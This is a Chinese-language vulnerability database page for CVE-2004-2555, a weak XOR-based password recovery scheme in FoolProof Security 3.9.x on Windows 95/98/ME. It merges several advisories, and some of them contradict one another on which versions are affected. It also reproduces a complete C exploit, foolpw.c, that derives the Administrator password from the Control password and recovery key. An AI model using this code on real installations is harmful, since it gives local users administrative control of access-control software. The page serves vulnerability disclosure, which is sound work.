CVE-2004-2555
CVSS2.1
发布时间 :2004-12-31 00:00:00
修订时间 :2008-09-05 16:44:28
NMCOES    

[原文]Riverdeep FoolProof Security 3.9.x on Windows 98 and Windows ME uses weak cryptography (arithmetic and XOR operations) to relate the Control password to the Administrator password, which allows local users to calculate the Administrator password if they know the Control password and password recovery key.


[CNNVD]SmartStuff FoolProof Security Program管理密码恢复漏洞(CNNVD-200412-303)

        
        FoolProof是Smartstuff公司的一个安全程序,它可为Windows和MAC提供访问控制,它可以保护系统文件和文件夹。
        FoolProof管理密码加密机制不够强壮,攻击者可以利用这个漏洞恢复应用程序的管理密码信息。
        攻击者可以更改密码恢复机制来获得'Administrator'密码信息,从而控制应用程序,访问受保护数据。
        

- CVSS (基础分值)

CVSS分值: 2.1 [轻微(LOW)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:smartstuff:foolproof_security:3.9.4
cpe:/a:smartstuff:foolproof_security:3.9
cpe:/a:smartstuff:foolproof_security:3.9.7

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2555
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2555
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-303
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/16327
(UNKNOWN)  XF  foolproof-admin-password-recovery(16327)
http://www.securityfocus.com/bid/10467
(UNKNOWN)  BID  10467
http://www.osvdb.org/6735
(UNKNOWN)  OSVDB  6735
http://secunia.com/advisories/11790
(UNKNOWN)  SECUNIA  11790
http://archives.neohapsis.com/archives/fulldisclosure/2004-06/0081.html
(UNKNOWN)  FULLDISC  20040604 [CYSA-0329] Password recovery vulnerability in FoolProof Security 3.9.x for Windows 95/9

- 漏洞信息

SmartStuff FoolProof Security Program管理密码恢复漏洞
低危 设计错误
2004-12-31 00:00:00 2006-01-24 00:00:00
远程  
        
        FoolProof是Smartstuff公司的一个安全程序,它可为Windows和MAC提供访问控制,它可以保护系统文件和文件夹。
        FoolProof管理密码加密机制不够强壮,攻击者可以利用这个漏洞恢复应用程序的管理密码信息。
        攻击者可以更改密码恢复机制来获得'Administrator'密码信息,从而控制应用程序,访问受保护数据。
        

- 公告与补丁

        厂商补丁:
        SmartStuff
        ----------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.smartstuff.com/fps/fpsinfo.html

- 漏洞信息 (24171)

SmartStuff FoolProof Security Program 3.9.x Administrative Password Recovery Vulnerability (EDBID:24171)
windows local
2004-06-05 Verified
0 Cyrillium Security
N/A [点击下载]
source: http://www.securityfocus.com/bid/10467/info

FoolProof is prone to a vulnerability that may allow an unprivileged user to recover the administrative password for the application. This issue can ultimately allow an attacker to gain unauthorized administrative access to the application.

This issue occurs because an attacker can manipulate the password recovery algorithm to recover an 'Administrator' password.

FoolProof versions 3.9.7 for Windows 98/ME and 3.9.4 for Windows 95 are affected by this issue. Subsequent versions of FoolProof do not contain the password recovery feature. 

/*    The following program calculates the "Administrator" password from the
    password recovery key and the "Control" password.
    
    Usage:
        
        Invoke the program with the following arguments:

        foolpw HEXADECIMAL_RECOVERY_KEY CONTROL_PASSWORD

        Example:

        C:\> foolpw BDAD8C8380A6B8BCAC8C2A45484A464C HelloWorld
        12345
    
    Source code:
*/
/*

foolpw.c
Copyright (C) 2004 Cyrillium Security Solutions and Services.

Demonstrates a weakness in FoolProof Security password recovery system. See
CYSA-0329 for details.

CYRILLIUM SECURITY SOLUTIONS AND SERVICES DOES NOT PROVIDE ANY WARRANTY FOR
THIS PROGRAM, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.
SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY
SERVICING, REPAIR OR CORRECTION.

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[])
{
    int i; /* Index variable */
    char a, /* Temporary variable for calculations */
         k[33], /* Recovery key in hexadecimal */
         k_array[17], /* Recovery key as array */
         c[17], /* Control password */
         *b = "D:SKFOIJ(*EHJFL", /* Offsets */
         hex_temp[2], /* Temporary storage for hexadecimal conversion */
         *endptr; /* Output variable for strtoul */

    if (argc != 3)
    {
        puts ("Usage: foolpw RECOVERY_KEY CONTROL_PASSWORD");
        return 1;
    }
    if (strlen (argv[1]) != 16*2)
    {
        puts ("Recovery key must be 16 hexadecimal bytes (32 characters)");
        return 1;
    }
    if (strlen (argv[2]) > 16)
    {
        puts ("Passwords are limited to 16 characters");
        return 1;
    }
    memset (k, 0, sizeof (b));
    memset (k_array, 0, sizeof (b));
    memset (c, 0, sizeof (c));
    memset (hex_temp, 0, sizeof (hex_temp));
    strcpy (k, argv[1]);
    strcpy (c, argv[2]);

    for (i = 0; i < 16; i++)
    {
        memcpy (hex_temp, &k[i*2], 2);
        k_array[i] = strtoul (hex_temp, &endptr, 16);
        if (*endptr != '\0')
        {
            printf("\nInvalid hexadecimal character \'%c\'\n", *endptr);
            return 1;
        }
        a = (c[i] + b[i]) ^ k_array[i];
        putc (a, stdout);
    }
    puts ("");
    return 0;
}


		

- 漏洞信息

6735
FoolProof Security ADMINPW.EXE Encryption Algorithm Weakness
Local Access Required Cryptographic, Information Disclosure
Loss of Confidentiality
Exploit Public

- 漏洞描述

FoolPrint contains a flaw on Windows 98/98SE/Me platform that may lead to an unauthorized password exposure. The issue is due to bitwise XOR operator in the weak ADMINPW.EXE password recovery algorithm. By calculating the known "Control" password and password recovery key, a local attacker can gain access to administrator passwords, which may lead to a loss of confidentiality, integrity and/or availability.

- 时间线

2004-06-04 Unknow
2004-06-04 Unknow

- 解决方案

Upgrade to version 4.0 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

SmartStuff FoolProof Security Program Administrative Password Recovery Vulnerability
Design Error 10467
Yes No
2004-06-05 12:00:00 2004-06-05 12:00:00
Discovery is credited to Cyrillium Security <http://www.cyrillium.com/>.

- 受影响的程序版本

SmartStuff FoolProof Security 3.9.7
SmartStuff FoolProof Security 3.9.4
SmartStuff FoolProof Security 5.0
SmartStuff FoolProof Security 4.0.2

- 不受影响的程序版本

SmartStuff FoolProof Security 5.0
SmartStuff FoolProof Security 4.0.2

- 漏洞讨论

FoolProof is prone to a vulnerability that may allow an unprivileged user to recover the administrative password for the application. This issue can ultimately allow an attacker to gain unauthorized administrative access to the application.

This issue occurs because an attacker can manipulate the password recovery algorithm to recover an 'Administrator' password.

FoolProof versions 3.9.7 for Windows 98/ME and 3.9.4 for Windows 95 are affected by this issue. Subsequent versions of FoolProof do not contain the password recovery feature.

- 漏洞利用

The following exploit code is available:

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.

- 相关参考

 

 

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